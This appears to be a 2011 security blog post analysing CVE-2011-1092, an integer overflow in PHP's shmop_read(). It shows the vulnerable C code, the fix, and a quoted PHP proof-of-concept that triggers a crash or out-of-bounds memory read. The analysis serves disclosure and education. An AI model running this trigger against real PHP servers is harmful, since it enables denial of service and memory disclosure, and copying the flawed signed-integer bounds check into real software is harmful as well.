xorl %eax, %eax

CVE-2011-1092: PHP shmop_read() Integer Overflow

leave a comment »

This bug was discovered and reported to the PHP team by Jose Carlos Norte. The bug affects shmop_read() function which can be found in ext/shmop/shmop.c source code file. Here is the buggy code…

/* {{{ proto string shmop_read (int shmid, int start, int count)
   reads from a shm segment */
PHP_FUNCTION(shmop_read)
{
	long shmid, start, count;
	struct php_shmop *shmop;
	int type;
	char *startaddr;
	int bytes;
	char *return_string;
   ...
	if (start < 0 || start > shmop->size) {
		php_error_docref(NULL TSRMLS_CC, E_WARNING, "start is out of range");
		RETURN_FALSE;
	}

	if (start + count > shmop->size || count < 0) {
		php_error_docref(NULL TSRMLS_CC, E_WARNING, "count is out of range");
		RETURN_FALSE;
	}

	startaddr = shmop->addr + start;
	bytes = count ? count : shmop->size - start;

	return_string = emalloc(bytes+1);
	memcpy(return_string, startaddr, bytes);
	return_string[bytes] = 0;

	RETURN_STRINGL(return_string, bytes, 0);
}

As you can see, initially it checks that the starting address contains a positive number and that the starting address isn’t greater than the actual size of the requested shared memory object. Next, it’s a similar check which checks that the requested starting offset plus total size to not exceed shared memory object’s size in order to avoid reading beyond the bounds of the latter object. At last, it has negative check for ‘count’.
However, as Jose Carlos Norte noticed, both ‘start’ and ‘count’ are signed integers and on 32-bit architectures this could be used to bypass the above checks. If someone passes a value of 2^31 in ‘count’ it will bypass all checks since it is still positive. As you can see after the checks in the given code snippet, the call to emalloc() will add one to the already huge value resulting in allocation of roughly 4GB of memory (if it is allows by the operating system). The next call to memcpy() will end up reading shared memory that is definitely out of the range of the requested object.
The fix to this bug was this:

 	}
 
-	if (start + count > shmop->size || count < 0) {
+	if (count < 0 || start > (INT_MAX - count) || start + count > shmop->size) {
 		php_error_docref(NULL TSRMLS_CC, E_WARNING, "count is out of range");
 		RETURN_FALSE;

It checks that both ‘count’ isn’t negative and ‘start’ value won’t result in an integer overflow.
I saw this bug through Roi Mallo’s (aka rmallof) tweet that gave a link to the following trigger PoC code.

<?php
# Exploit Title: PHP <=5.3.5 Integer Overflow DoS
# Date: 12-03-11
# Author: Jose Carlos Norte - www.rooibo.com
# Software Link: www.php.net
# Version: <= 5.3.5
# Tested on: Ubuntu Linux
# CVE : CVE-2011-1092
 
$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
$shm_data = shmop_read($shm_id, 1, 2147483647);
//if there is no segmentation fault past this point, we have 2gb of memory!
//or we are in a patched php
echo "this php version is not vulnerable!";
 
?>

Which is pretty self-explanatory if you know what the bug is.

Written by xorl

March 12, 2011 at 21:08

Posted in bugs

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s